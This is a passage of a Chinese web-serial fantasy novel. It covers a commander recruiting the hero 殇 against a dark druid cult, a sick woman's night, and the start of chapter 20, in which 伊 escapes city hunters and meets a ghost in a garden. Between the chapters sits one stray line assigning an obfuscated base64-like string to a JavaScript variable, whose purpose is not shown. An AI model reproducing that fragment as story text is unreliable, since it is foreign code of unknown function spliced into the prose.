突然,一辆黑色的高级悬浮车落到了店门前的停车位上。车门打开,一位银发的指挥官从上走了下来。他迈着轻快的步伐走进了店内,后面跟着一个黑色头发的秘书。殇的视线随着那个指挥官移动,他边吃边注视那个指挥官。那个指挥官走进店内,左右张望了一下,然后看向了殇这边。他似乎是认出了殇,露出微笑迈着阔步向这里走来。殇假装没有看到他,低着头从容淡定地吃着面条。待指挥官走进之后,殇才放下筷子,抬头去看他。就如他想的一样,对方是先前迎他进城的苍白。 苍白拿下帽子,向殇鞠了个躬,行了个礼。他一旁的秘书瞪大了眼睛,觉得不可思议。她看了看面无表情的殇,又看了看了恭恭敬敬的殇。 “苍白先生,你这是......” 秘书好奇地问道。苍白露出微笑,淡定地回答她: “他是我的前辈。” 她一脸疑惑,她轻轻皱着的眉毛,仍有些不理解。 这时,苍白坐在殇的对面。殇和他四目相对,两人彼此用眼神窥探着对方的内心。片刻,他转过头去,对着自己的秘书说: “小甜,你从车里帮我把重要文件给我拿来。” 秘书点点头,转身离开,去车里取重要文件。殇看着那个秘书,总觉得哪里不对。苍白对着一旁打了个响指,服务员随即拿着菜单赶了过来。苍白拿起菜单,简单扫一眼,然后问一旁的服务员: “他点了什么?” “这位客人点了一碗葱花小面和一瓶矿泉水。” 服务员即答道。苍白笑了笑,对殇说: “前辈,您的口味真独特。” 苍白将菜单递回,对服务员说: “他要什么,我要什么。” 服务员点点头,拿着菜单走了。殇很自然地吃着面,心里没有丝毫波澜。苍白优雅地脱掉手套,轻轻地将帽子放在了桌子的一角。苍白正了正衣领,然后深吸一口气,露出一抹神秘的微笑。苍白对殇说: “前辈。很抱歉在这个时候打扰你。这时本该是您享受宁静的最佳时间,可我却作为外来者打搅到了您。我心感愧意。” 殇吃了口面,一脸坦然地说道: “没事。你小子找我肯定有事吧。” “有事。不过对您来说是件小事。” “说吧,我能办的,肯定能帮你办办。” “前辈,您可真大度。” 这时,苍白的秘书拿着一个黑色公文包回来了。她将公文包递给了苍白,苍白接过公文包,慢慢打开,拿出了里面的一份文件。送过公文包,秘书就站在苍白一旁,十分乖巧。她的站姿十分标准,看起来是受过专业训练的精英。看着苍白的秘书,殇总觉得哪里不对劲。他看着秘书的脸,注视着她的眼神。她的眼神冷酷如冰,没有一点温度,其中泛起寒光,让人不禁发颤。她的表情十分严肃,看着不像秘书,而像位战士。殇看着苍白的秘书,好奇地问道: “苍白,她真的是你的秘书吗?” 苍白看向一旁的秘书,他的秘书也看向他,两人相互对视了一眼。苍白转过头来,对殇说: “她是我秘书。” “可我看着她不像是文职的样子啊。虽然穿搭像是女文职人员,但她身上所散发出来的寒气却不是文职人员该拥有的。” 殇边打量她边说。苍白笑了笑,对殇解释道: “前辈您的眼光真好。——小甜,给前辈展示一下你自己。” 秘书点了点头,她撸起自己的袖子,然后握紧双拳,交叉双臂。她往下用力甩了下胳膊,刷的一下,两把锋利的热能螳螂刀出现在她的手臂上。她的双眼之中出现了红色的光环,螳螂刀上泛起了血红色的光芒,看着杀气四溢。殇淡定地吃了口面,对此评价道: “我本以为这是为温柔聪慧的姑娘,没想到竟是个高级双面保镖!苍白,可真有你的啊。” 秘书放松双手,收起螳螂刀,接着调整下袖子,又回到了之前的样子。她撩了撩头发,时刻保证自己处于最佳状态。这时,面条端了上来。苍白没有立刻去吃,而是先将文件递给了殇,让殇过目。殇接过文件,打开一看,发现这是有关黑色德鲁伊教团的。 这份文件记录了很多黑暗德鲁伊犯下的罪证,其中有很多是以照片形式呈现的;这些照片大多数被打上了马赛克,因为其举动太过于疯狂。在文件的末尾,有着黑暗德鲁伊教团的祭祀活动的位置与举行时间。 看过文件,殇立马就猜到了苍白来找自己的用意。殇拿起筷子吃了口面,然后喝了口水,最后放下筷子,一脸严肃。殇对苍白说: “你是想让我去跟这群疯子‘打交道’是吗?” “没错,前辈。” 苍白即答道。殇很淡定,没有丝毫的慌张。他指着苍白面前的那碗面,说道: “你时间不赶吧?不赶的话我们边吃边聊。” 苍白笑了笑,拿起筷子,吃了一口面。这时,殇的眼神突然发生了改变。他的眼神散发着杀气,跟要吃人一样。苍白的秘书见了,表情瞬间凝重了,她的瞳孔上出现了红色的光环。吃完这口面,苍白见到殇这个眼神,淡定地又吃了一口面。他放下筷子,一脸笑容。 殇: “(突然变脸)你小子算是会来事的。正好我看黑暗德鲁伊这群疯子不顺眼,正好你给了我一个机会,正好今天吃面碰到了你。是缘分啊!哈哈哈......” 殇发出了爽朗的笑声。这突然转变吓了苍白的秘书一跳,她刚刚差点就掏刀战斗了。苍白也附和着笑,他这算是成功拉来了一个帮手。苍白吃了口面,然后对殇说道: “前辈。你若跟他们有仇,那就去帮我们UppF去处理他们的教团吧。我们的陆吾突击小队很快就会抵达这里,他们将与你一起除掉这疯狂的灾祸。而且,我们不白白让你去。事成之后,我们会以委托的方式给您一笔不小的报酬。” “行。说吧,什么时间去。” 殇一口答应了。苍白从公文包里拿出五百块钱,然后放在了桌子上。他微笑着告诉殇: “前辈,这是定金。事成之后,还有三倍。” 殇收下了这五百块钱。见到殇收了钱,苍白的嘴角微微上扬。他继续对殇说道: “时间吗......待定。到日子了,我会给您打电话的。” 殇: “那行!” 苍白看了看时间,发觉快到了开会的时间。苍白吃了口面,然后说道: “前辈,就不打扰您了。我还要回去开会,先行一步了。” 说完,就戴上手套和帽子,准备离开。殇淡定地喝了口自己碗里的汤,然后目送着苍白离开。临走前,他还跟殇道别。 “前辈,再见。” 殇挥挥手,与他道别。在悬浮车关门前的那一刻,他的秘书看了殇一眼。在她看殇的那眼神之中,有着一丝杀气。 苍白走后,殇去柜台结账。结账时,突然发现苍白没付钱。此时,他不禁吐槽一句: “苍白,你为什么点面的时候不付钱?” 付完钱,殇就离开了这家店。本着闲来无事,殇就在街上溜达。这时,他突然想起了伊。他寻思着去店里看看伊,此时也快到了她下班的时间。可当他走到奶茶店门口,向里面一看的时候,并没有看到伊声音。问什红亮和保罗,两人也没说个清楚。殇以为是伊出了什么危险,于是在街的一角拨通了伊的电话。片刻之后,电话接通。 伊: “喂?” 殇: “(好奇)伊,你他奶奶的跑哪里去了?店里也不见你人。” 伊: “(思索了半秒)额......我去陪我的一个朋友吃饭去了。现在就在她家。” ...... 挂断电话后,殇只能独自一人先回家。根据殇对年轻人性格的了解,殇猜测,伊今晚很可能就在别人家里住下了。他回到家后,洗漱、换衣服、洗衣服、看看电视、然后睡觉,结束了这劳累的一天。 今日的东城还如往日一般,平静之下暗流涌动。杀与被杀的故事,每天都在这里上演。杀戮循环的背后,是破碎的梦想与家庭。城市的夜色很美,美的让人沉醉。可这魅力表面之下究竟隐藏了怎样的血色与灾厄?蕴含了怎样的孤独与叹息?无人能够知晓。这里的追梦人很多,多到梦都不够他们去追。“一将功成万骨枯”。这句话用在这里十分合适。 与此同时...... 在一栋平平无奇的公寓楼内的712房间内,薇莉莉正躺在床上熟睡。突然,一阵剧痛从她心中传来,她猛地睁开眼睛,从床上惊坐起。她心跳加速,呼吸困难,手脚开始抽搐,同时开始咳嗽。她咳嗽两声,她的被子上出现两个红点。 她忍着疼下了床,熟练地从床头柜里拿出速效药,然后拿着药走到了客厅,倒了杯水。此时她感觉到窒息感出现,心口宛如压了块巨石。她坐在沙发上,将药吃了下去,又连续喝了两杯温水。她喘了一会粗气,静待病症消失。过了一会,病症消失,她感觉舒坦了许多。她走到卫生间之中,打开了灯,看了看镜中的自己。她发现自己的头发又白了一部分,同时她的脸色变差了一些。她生气地一拳锤在卫生间的墙上,既悲伤又愤怒地说道: “又他妈这样......这该死的病!要来就来猛地一点啊!别这样一点点地折磨我!” 她咬着牙,心里是愤怒与悲伤。片刻之后,她冷静下来,重新去看镜中的自己。她抓了抓自己的头发,发现掉了几根头发下来。这点令她很苦恼,她已经这样很长时间了。 薇莉莉: “(苦恼)发质是越来越不好了,脸色也是越来越差。这病可真是够折磨人的!” 当当当,此时有人敲门。她离开卫生间,走到门前通过猫眼看了一眼门外,发现是穿着睡衣、披着大衣、穿着拖鞋、手里拿着一杯热茶的星北空。她轻轻皱了皱眉毛,然后回到卧室内穿上日常服装。这时,她心里暗暗想道: “这家伙怎么来了?” 换好衣服,她打开门。刚开门,星北空就露出了和善的微笑,并用关怀的语气对她说: “姐,你还难受吗?我听到你的咳嗽声,猜到你的老毛病犯了,我就来看看你。” 她一脸严肃,似乎星北空的话并没有打动她。她往后退了几步,并说道: “进来吧,外面冷。” 星北空进了屋,从睡衣口袋里拿出了一包茶叶。他将这包茶叶轻轻地放在了茶几上,然后微笑着对她说: “姐,如果你还难受的话,这包茶能够让你好受些。” 薇莉莉坐在沙发上,靠着沙发翘着腿,一脸严肃地说道: “茶?哼,谁会去喝这么难喝的东西?还有,我不难受,我好受的很。你没必要屁颠屁颠地跑来关心我,管好你自己得了。” 她的这番话如利箭一样刺痛了星北空的心。但他并未改变面色,而是继续微笑着说: “姐。做些尝试。茶啊,很好喝的。你难受的时候喝能好受些。” 薇莉莉闭着眼摇了摇头,她一脸不乐意地对星北空说: “我都说了我不喝!” 星北空的笑容瞬间消失,片刻后笑容瞬间又回来。他似乎早就习惯了薇莉莉的这种说话方式。 “姐,随你的意愿。” 薇莉莉眼神瞥向一旁,绕了一圈又回到了星北空身上。星北空喝了口热茶,思考了一下,然后对薇莉莉说: “姐,要是实在难受,你可以叫我和萌萌来。有我俩在身边,起码还能帮帮你,最起码让你好受一些。” 薇莉莉看着他,不说话,只是翘起耳朵听着。 “早点睡吧,别太累,别熬夜。有这病不能熬夜,得好好调养。白天就够累的了,晚上更得好好休息。” 薇莉莉从口袋里拿出一根烟,又拿出打火机给点上,然后吸了一口。她点点头,一脸严肃地说道: “哼,整的我跟要死了病号似的......行,知道了。你赶紧回去睡觉吧,熬夜伤身体。” “知道了,姐。要是又难受了说一声,我给你买些药。” 星北空微笑着对她说道。薇莉莉吸了一口烟,然后放下烟。她摇摇头,告诉星北空: “不用。你管好自己就行,别在我身上操心。” 薇莉莉看着他走到门口去,边吸烟边看。星北空走到门口,突然停下了。薇莉莉见到后,装作不在乎地看向了一边。星北空转过身来,用关怀的语气对她说: “姐,别总为了别人着想,你也得为自己着想。” 薇莉莉看着他,一脸严肃与不在乎。星北空没有在意这些,他始终保持微笑。片刻之后,他转身推门离去,走时不忘关门。见到星北空走后,她叼着烟从沙发上站起。她看了看桌子上的那包茶叶,神态由严肃变得自然。 “哎......北空这家伙总是送些我不要的垃圾。操!谁他妈会喜欢喝茶?啊?真是搞不懂他。” 薇莉莉拿起了这包茶,回到了卧室之中。她脱掉身上的衣服,换上睡衣。她打开了自己的柜子,想了想到底要放在哪里。思考过后,她打开了存放着吉他、奖杯、车钥匙、纪念章的那个小柜子,放在了最显眼的地方。放完这包茶叶,她就叼着烟去阳台吸烟。吸烟的时候,她不时捂住胸口。吸烟能减轻服用速效药之后的阵痛,让她好受一些。看着城市的夜色与天空中的一轮弯月,她小声地哼起了一首歌。这首是她最喜欢的歌,是首有着悲情与温情曲调的歌。 此时,在星北空房间的阳台上,星北空正在与貔貅通着电话。星北空说话的声音很小,生怕别人听到丝毫。 星北空: “貔貅,找到医生了吗?” 貔貅: “少爷,暂时还没找到。” 星北空: “好吧。你们得加快速度了,姐她估摸只有五个月了。” 貔貅: “铆犽天真一族的家族病是很罕见的病症,市面上的医生都难以医治。寻找能治疗这种病的医生,很困难......” 星北空: “五个月,五个月时间可以吗?” 貔貅: “可以。” 星北空: “那就好。你们继续努力吧,辛苦了。” 貔貅: “谢谢少爷关心,我们会尽快找到医生的。” 星北空挂断电话,抬头看着夜空。今天的夜很晴朗,天空中没有几朵云彩;星空也很浩瀚,星光十分璀璨。星北空低着头沉思了一会,思考着明天的规划。沉思过后,计划明了。他回到床上睡觉,闭上眼,还扔挂念着薇莉莉的病。告别这一天,明天又是怎样? ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第二十话:秘密花园(上) 通历43年7月16日早上7点50分许,伊在床上醒了过来。此时太阳已经升起,阳光已经透过窗户照到了屋内。伊迷迷糊糊地伸了伸懒腰,之后精神了许多。她下床换上衣服,走到窗边打开了窗户,呼吸了一口新鲜空气。今天是个晴天,阳光很明媚,蓝天白云再带点小风,这将是令人感觉舒服的一天。不过外面的空气有些潮湿,看样子昨天是下过雨。看着今天的天气,伊觉得心情舒畅,似乎好运将要降临在她的身上。 伊走出卧室,发现倪汝美已经做好了两人的早餐。一盘炒青椒、几片烤面包、几块煎鸡蛋加上一瓶沙拉酱配上两杯花茶,这就是倪汝美和她今天的早餐。倪汝美见到伊来了,小脸一红,有些害羞地对伊说道: “伊,你醒啦。快过来吃吧。有些寒酸......别介意哈。” 伊自然不会介意,她笑着走了过去,边走边对倪汝美说: “我不介意的。你这也不寒酸,我早上吃得才叫寒酸呢。这样一比,你这挺不错的呀。” 倪汝美有些好奇地问道: “那你早上平常吃什么呢?” 伊走到椅子旁坐下,然后微笑着回答: “泡面,不同口味的泡面。” “啊?你早上吃泡面啊。那我这边确实强一些。” 倪汝美笑着说道。倪汝美给伊递去两片烤面包,然后把沙拉酱拿到了伊坐着的那边。伊在身前摆摆手,很不好意思地说道: “不用这么客气。” 倪汝美闭着眼呲牙笑了笑,告诉伊: “第一次与你共度早餐,不用这么见外。多吃点。” 倪汝美的热情让伊有些感动,她点了点头,接受了她的这份热情。早餐时间,两人在欢快中度过。两人的友谊虽只有一天,但她们之间纽带已经坚如磐石。两人都坦诚相待,用心对待彼此。没有歧视,没有地位的高低。渐渐地,那份所谓的诅咒,两人也不在意了。 吃过早饭,伊得去上班。上班之后,她就得回到自己的家。伊将这个想法告诉了倪汝美。没想到,倪汝美听到伊走、要回到自己的家时,竟表现得很成熟、很坦然。没有太多的挽留,只是许诺以后会经常找伊。走时,两人都舍不得对方。虽不想分开,但又不得不分开。倪汝美有倪汝美的路,伊有伊的使命。即便如此,两人依旧是朋友,以后还可以来往。 倪汝美: “(不舍)以后我会常来找你的,伊。” 伊: “(不舍)我也会常找你的,倪汝美。” 倪汝美: “(不舍)路上要小心哟。” 伊: “(点头)嗯。” 倪汝美以一个拥抱送别伊。两人紧紧地相互拥抱,片刻之后松开手。伊转身离开,倪汝美目送着她离开。走到电梯前,正准备按按钮的时候,伊有些依依不舍地转头去看自己来时的方向。她惊奇地发现,倪汝美正冲着自己挥手,冲着她呲着牙笑。伊心有触动,感觉心里暖暖的。她对着倪汝美挥手,与她道别。 倪汝美: “路上小心!” 伊: “(感动)知道了。” 按下电梯按钮,过一会电梯门打开。伊走了进去,按下了去一楼的按钮。电梯缓缓向下,很快就到达了一楼。伊走出电梯,向着外面走去。走到外面的街上,伊还不忘回头去看一眼倪汝美所居住的那个房间。如她的预料,倪汝美正窗户旁目送着她离开。伊的脸上浮现出了一抹甜甜的微笑。伊转身离去,走向自己所工作的那条街。 上了街没走多久,伊就觉得有人在注视着她。过一会,又觉得有人在偷偷跟着她。她走路的速度开始加快,那身后跟着的人也开始加快步伐。渐渐地,伊就开始小跑,然后开始奔跑。那身后跟踪者见此,也开始奔跑。伊在大街上稀疏的人群之中穿梭,通过反复变道变方向来去甩脱后面的追踪者。那追踪者见形似不妙,招来了更多的追踪者。这些追踪者在分散开来,沿着不同的追击路线去追击伊,正逐步形成包围网。 最终在一个水果店前,伊被其中一个追踪者给拦了下来。那个追踪者一把抓住伊的衣领,然后一把把伊推倒在地。它拔出腰间的长刀,对着倒在地上的伊威胁道: “老子是堂堂七阶都市猎人,要是不想死,就给我安安稳稳地待着。等到了地方,你就归另一批人所有的。” 这时伊的身后又来了三个追踪者,他们其中两人把伊扶了起来,然后就要给掳走。这时,那个最先出现的追踪者身后出现了一个人,那个人轻轻地点了点这个追踪者的后背。这个追踪者转过身去,发现是一位卖西瓜的商人。那个商人手里捧着一个绿色的西瓜,正一脸和善地询问着他。 杨三刀: “哥们,买个瓜不?我这瓜都是熟瓜,没有生的。” 那个追踪者随手一甩,直接将这个瓜打落在地。夸嚓一下,这个瓜碎成了好几块。这个商人见了,指着这个瓜急切地说道: “你怎么可以摔洒家的瓜呢?这瓜十分的珍贵,你得赔!” 那个追踪者眉头一皱,拔出腰间的长刀,指向了这个商人。商人面色凝固,笑容瞬间消失。这个追踪者对着这个商人威胁道: “赔?你他妈打搅老子干大事了!要不想死的话,赶紧给我滚!” 这个商人笑了笑,拿出腰间的水果刀,摆出了十分霸气的姿势。杨三刀冷冷地对这个追踪者说: “我说了,赔我瓜!” 那个追踪者会心一笑,一脸嘲讽地说道: “怎么?拿刀吓唬我呢?告诉你,我背后有权有势,而且老子本身也是个高阶都市猎人。就你一个开水果店的,还敢跟老子比划?!” 杨三刀没有理会他的话,冷冷地重复了一句: “赔我瓜......” 这个追踪者没了耐心,他对着杨三刀挥出一刀,边挥边说: “你他妈的是什么东西?敢跟老子叫板!去死!” 杨三刀一个后撤步躲开,他的水果刀上燃起了紫色的火焰。杨三刀迅速向后伸腿、下压身体、伸直握着水果刀的胳膊,这些动作在一秒内一气呵成。见到这种架势,对方似乎看出了什么,不过态度依旧轻蔑。 “喂喂喂,摆出这种姿势是要吓唬我吗?老子......” 没等他说完,杨三刀一个疾步前冲来到他的面前,一个下劈刷的一下砍了过去。他的意识还算很强,懂得用刀格挡。一道靛青色的剑影划过那人的身躯,顿时间鲜血飞溅。这一刀过后,那人应声倒地。他手中的长刀被无情地斩断,他的身上多了一道从上而下裂开的刀疤。那人并没有被这一刀砍死,他还能动弹几下。 与他一起的那三人见了这种情况,直接吓得僵在原地一动不动。杨三刀给伊使了个眼色,伊从惊讶之中回过神来。伊用手肘狠狠地给左边的那人来了一下,那人吃痛,本能松开了抓着伊的手。伊抽出左胳膊,然后一个过肩摔给右边的那人摔在了地上。伊突然一个转身,一拳打在了身后那人的脸上,那人吃痛后退了两步。这时,伊跳起来一脚踢出,给他踹倒在地。处理完这三人,伊转身看向杨三刀。 此时,杨三刀小跑几步,来到伊面前,问道: “姑娘,你没事吧。” 伊摇摇头,笑着说: “没事。谢谢你,大叔。” 杨三刀张望了下周围,暂时还没有追踪者追上来。杨三刀指着自己的水果店,告诉伊: “姑娘,快!到我店里去,我店后门有条暗道,能帮你甩开那些猎人。” 伊点了点头,然后跟着杨三刀一起进了水果店里。杨三刀打开水果店的后门,对着伊说道: “快!姑娘,从后面的巷子里走!” 伊点点头,然后跑着走过后门,来到了水果店后的巷子里。见到伊离开后,杨三刀立马关上了后门,然后给后门上了锁。做完这一切后,他小声自言自语道: “殿下,洒家只能先帮你这么多了。” 说完,他转过身去,发现十几个都市猎人围在了他的水果店前。那些都市猎人手里拿着各式兵器,看样子来者不善。杨三刀从容地走向他们,脸上没有丝毫的畏惧。那些都市猎人见到他过来,主动向前走了一步。待到杨三刀走到他们近前的时候,那些都市猎人才看清了他身上散发着的靛青之息。强大的气场、扑面而来的压迫感、令人窒息的压力,这些让这些都市猎人感到了一丝恐惧。尤其是看到他肩膀上燃起了怒魂汹涌的紫色烈火的时候,那份恐惧更加深重了。杨三刀冷冷地对他们说道: “你们谁先上?” 这时有人迈步向前,突然刷的一声,一道靛青色的剑影划过,那人被这一刀就地斩杀。其他的都市猎人见此,忍不住开始慌张。不知怎么的,有几个人迈步向前,准备发起进攻。刷的一声,一道巨大的靛青色剑影划过他们那几人的身前,直接将他们砍飞了出去。直到这时,剩下的那几个都市猎人才看清楚,杨三刀并非使用的是什么强力的武器,而只是一把水果刀。不看不知道一看吓一跳,仅仅是用水果刀就能造成如此大的破坏,很难想象他使用正常武器时是怎样的恐怖。这些都市猎人只能咬咬牙,心有不甘的离开。毕竟命还是第一位的,眼前的人他们惹不起。 在这些都市猎人离开后,杨三刀身上的靛青之息与紫色烈火慢慢消失。他叹了口气,看着周围的尸体说道: “姑娘,洒家只能帮你这么多了。希望你可以逃脱他们的追捕吧......” 说完,他回到店里,拨打了清理者的服务热线。与清理者沟通一番之后,他挂断了电话。他看了看手中沾染鲜血的水果刀,叹了口气,说道: “看来又得买把新的了......” 伊刚走出巷子没多久,就又遇到了前来活捉她的追踪者。她急忙逃跑,在街巷之间穿梭,试着甩掉身后的追踪者。跑着跑着,伊跑到了河边一处花园的外面。伊看了看周围,发现追踪者在街的一角,还没有看到此时的她。伊看了看面前的花园,她现在需要做出抉择。 伊心里: “要不要进去呢?那些追踪者马上就要追上来了......我得进去躲避!可是......那样这里的主人会生气的!但如果不那么做,我大概率会被抓到的。该怎么办呢......” 这时,又一名追踪者出现,这名追踪者出现在了街的另一角,与之前的那个追踪者形成了两面包夹之势。见到这种情况,伊顾不得那么多,直接翻进了这个花园之中。她快步疾驰,跑到了花园之中的一颗大树后面,蹲下身来躲在了树后。她的心跳开始加速,心里格外地紧张。就连呼吸变得小心翼翼,就怕被那两位追踪者发现。 过了一会,那两名追踪者在这附近找了半天,发现没有伊的踪影,于是就离开了。又过了一小会,伊十分害怕地探出了头,去看外面的情况。此时街上没有追捕她的追踪者,看样子她是甩掉了他们,伊这才松了口气。 这时伊突然发现,这个花园里很是荒废,到处生长着野花野草,没有人打理过的样子。伊站起身来,很好奇地环视了一圈。这个花园并不算小,如果不种花还可以建造一间小屋在这上面。花园的角落放着一些园丁工具,是花匠种花时的最佳朋友。伊很好奇地走了过去,凑近了一看,发现这些工具上披上了尘埃的衣裳、轻轻锈蚀的痕迹如点缀,这都为这些工具刷上了一层独特的色彩。在这些工具之中,有个最特殊的存在。那是一双园丁的手套,上面很脏,全是灰尘与泥痕,还有着几点干涸的血迹。 伊轻轻拿起了这双手套,仔细瞧了瞧。它的色彩映照出一个花匠内心的欢喜与悲哀;它上面的折折皱皱,是花匠辛勤劳作最无私的见证;透过薄薄的布料,似乎能看到一双聪慧的手以及一颗善良纯真的灵魂。 “心善而手巧的花匠,能够栽培出世界上最美丽的花朵。” 这是伊曾听过的一句佳话。伊很礼貌地放下这双手套,心中带有虔诚与尊重。就在这时,一阵花香从她的身后飘来。她转身看去,发现几朵百合花正在花园的一角悄然盛开着。伊往前走了几步,突然惊奇地发现还有几朵紫罗兰陪着这朵百合花一起在草丛中盛开,就像一对彼此依靠的好朋友一样。即便被埋没在草丛中,它们的花香也能吸引来人们去发现。 伊走到了这几朵花前面,俯下身来仔细看了看它们。凑近了,伊留意到这些花都是在一个大半截入土的纸袋中生长出来的。这何尝不是一种奇迹?很难想象这些花是怎么打穿纸袋,扎根于泥土之中的。伊闭上眼睛闻了闻它们的花香,不禁脸上流露出了一抹笑容。这花香很独特,与其他的花不一样,这花香中蕴藏着奇迹的生息。闻过花香,伊站起身来,准备转身离开这里。她作为外来者必须离开,因为这里不是属于她的花园。 一阵清风徐来,吹来了一丝潮气;几片云朵飘来,带来更加清新的空气。这时一只白色的蝴蝶迎面向她飞来,轻轻地落在了伊的鼻尖上。伊双目相聚,有些惊喜地看着这只蝴蝶。这只蝴蝶轻轻歪了歪头,扇动翅膀飞了起来。它在伊的眼前绕着圈,似乎是在挽留。伊对着它伸出手,它很乖巧地落到了伊的指尖上。伊对着它露出笑容,它连扇几下翅膀回应伊的笑容。这时飞来更多的白色蝴蝶,伊见到后很是惊讶。它们如一个个小精灵般围着伊转圈,伊则呆呆地冲着它们笑。这些蝴蝶突然一拥而上,突然吓了伊一跳。它们有的落在了伊的头上,给她戴上了几个头饰;有的落到了伊的肩上,有的落到伊的手臂上,为伊披上了一件衣裳。伊看着这些小精灵,心里是既激动又开心。她用一抹甜甜的笑容感谢这些蝴蝶。 这时,一阵阴风迎面吹来。灰色的雾从地面上升起,包裹了这片花园。天空瞬间暗了下来,如黄昏降临了一般。那些蝴蝶似乎收到了惊吓,纷纷飞离了伊,唯独最开始那个蝴蝶,还恋恋不舍地趴在伊的指尖。一团黄色的冥火从雾中燃起,瞬间照亮了周围。一盏提灯的轮廓渐渐拂晓,阴风的呼啸声渐渐明朗。一只金色的眼睛从黑暗之中猛然睁开,发出了如烧灯一般的光芒。它凝视着这个世界,眼神之锐利似能看破千重谎言背后的真相,这世间的一切事物都无法在它锐利的眼神下隐藏。阴风呼啸着,吹来几块碎布,一身紫色的长袍渐渐清晰起来。地下的冥河传来了凄厉的嚎叫声,无数灵魂正堕入无边的冥河之渊。嚎叫声过后,一个高大的身影提着灯出现在伊的眼前。十团紫色的冥火在它身后形成了一个环,它们正熊熊燃烧着,发出引得人心神不宁的紫色光芒;那是十殿阎罗的化身。 看着那个高大的身影,伊不禁冷汗直流,全身都开始感觉不舒服。那个高大的身影举起了手中的提灯,释放了一道震颤神灵的震击。这震击的威力,让伊的灵魂与肉体都感觉到了猛烈的震动,仿佛间,好像天塌地陷了一般。震击过后,在昏暗的之中,伊认出了这个身影。伊惊讶得嘴唇有些轻微颤抖,她看着面前这个身影,轻声说道: “是你,冥河使者。” 听到伊叫他,他没有回话,只是默默地点了点头。冥河使者摇了摇灯,对着前方的事物说道: “失鬼兮!何不深入无寿,而复游于其间。与我行矣,将携汝寿于河以待新轮回。” 伊听懂了他的话,她的视线慢慢移到了指尖的白色蝴蝶上。这只白色蝴蝶将头轻轻地贴在了伊的手指上,依依不舍地蹭了蹭,然后它煽动翅膀,飞向了伊的身后。伊转过身去,发现一个如白色幽灵一样的女人正靠着树看着冥河使者和她。那只蝴蝶落在了那个女人的指尖,她对着这个蝴蝶笑了笑。这个蝴蝶轻轻扇了扇翅膀,然后化作几片花瓣,随风消逝了。 那个女人有着一头垂到后背的长发以及一双灿若星辰的眼睛。她额前的刘海紧靠眉梢,鬓是细柳下垂,鼻梁微微挺起,眉毛似一笔之轻墨。她身穿百合花花纹的衣,单调纯色的裤,外面套着一件开怀的纯色猎人大衣,脚上穿着一双长筒皮靴。她的穿搭有着一丝优雅,但更多是个性。她如幽灵一般,全是纯洁无瑕的白色,她的身旁还飘起些许尘埃, 她垂柳一般的头发在风中摇摆,同周围的花草树木一起,在风的格调里起舞。她抬着头,无助地看着伊和冥河使者。无助、悲伤、不舍、希望,这四样东西在她的眼睛里凝聚。她低下头,告诉冥河使者: “不,我不会离开。即使你一遍又一遍地来找我,我也不会离开!我始终会在这里等待,我始终会在这里期待。” 冥河使者伸出手,很好奇地问她: “执念堪孤寒,苦来兹待。吾子之心念,奚以知之?” 她抬起头,告诉冥河使者: “我在等待一个人,一个能将我意志带去给我丈夫的人。” 冥河使者轻轻摇了摇灯,说道: “爱而留乎?故可以动人。故告我,有爱故多重乎?” 她从地上捻起一朵由尘埃构成的花儿,将它对着冥河使者举起。含蓄片刻,深情诉说道: “我爱他就像我爱这些伴随我一生的花朵一样。无论贫困与否,我始终会取播种。无论多少个朝朝暮暮,我始终会去等待。等待发芽,等待开花。他是我的唯一。我虽只剩下一颗灵魂,但我也会一直陪伴他到他的日落。有他在,每一天都有意义。” 冥河使者背后的冥火颤动了几下,似乎是被她的言语所打动。冥河使者摇了摇灯,问她: “使汝有一日而精神为鬼碎矣,汝其为守此乎?” 她笑着点点头,告诉它: “会的。即使有一天我魂神俱灭,我也会一直坚守在这里的。如果我的灵魂碎成了碎片,我想它一定是花瓣的形状。” 冥河使者问她: “你不怕吗?一旦灵魂破碎,那将是千万年等待才可塑元魂。” 她笑着回答: “我不怕。因为他会捡起我灵魂的碎片,与我一起共赴深渊的。” 冥河使者手中的灯中之火变得湛蓝了起来。它轻摇提灯,让冥火安息许多。她的回答,让冥河使者不禁感叹一句: “两情若真天已久,又岂在朝朝暮暮。” 她很深情地告诉冥河使者: “请你让我晚些堕入冥河吧。我想多陪他一刻,哪怕是一秒也行。” 冥河使者闭上眼睛,转过身去,似乎是默许了。它拿着灯向着雾的深处走去,过一会,就不见了踪影。天色突然亮了起来,灰色的雾慢慢消失了。此时,伊体内的光之种子发出了轻微的震动,奇异的能量再次萦绕在她的身旁。这种感觉,伊再熟悉不过了。 伊看向那个女人,那个女人也看向她。似乎是心有灵犀,两人都猜到了对方的心思。伊走向了她,坐在了她的身旁。两人深情对视,彼此的眼神之中都是善意。伊问那个女人: “请问,你叫什么名字?” 那个女人露出和善的笑容,告诉伊: “我叫卡娜铃兰。” 伊的面色突然凝重,她用带着怜悯的语气对卡娜铃兰说: “我为你的遭遇感到悲哀。” 卡娜铃兰看向伊,伊眼神之中的真诚与怜悯打动了她。卡娜铃兰从地上捏起一朵尘埃之花,笑着递给了伊。伊接过这朵花,本能地闻了闻,突然发现这朵花没有任何气味。卡娜铃兰笑了笑,告诉伊: “这朵花是我灵魂的一个部分,你是闻不到它的味道的。” 一听这花是卡娜铃兰灵魂的一部分,伊赶忙把花递了回去。卡娜铃兰开心地笑了笑,然后接过花朵,轻轻吹一口,将它吹散成了无数尘埃。见到此景,伊也跟着笑了笑。但随后,她的表情就变得凝重起来。她想要帮助卡娜铃兰,即便卡娜铃兰对于她来说是个陌生人。 “卡娜铃兰,我想要帮助你!请你告诉我你的故事......” 卡娜铃兰的表情突然变得忧伤起来,她的目光转向了一旁,似乎是不想提及。但她的眼神之中满是对帮助的渴求,她的心里也在渴求伊的帮助。片刻之后,她转过头来,对伊说: “我的灵魂只能承载一部分的记忆,所以我只能向你诉说部分。我的执念来自于我的精神深处,即使死亡也不可抹去。我希望你可以帮助我,好心人。我不想让我的丈夫生活在痛苦之中,我想让他过得更好些。” 伊用坚定的眼神回应了她的诉求。伊点点头,告诉她: “我会帮你的!” 卡娜铃兰的眼里浮现出了希望与期待,仿佛有了光芒。卡娜铃兰捻起一朵尘埃之花,开始诉说她的那部分记忆。 卡娜铃兰的记忆: 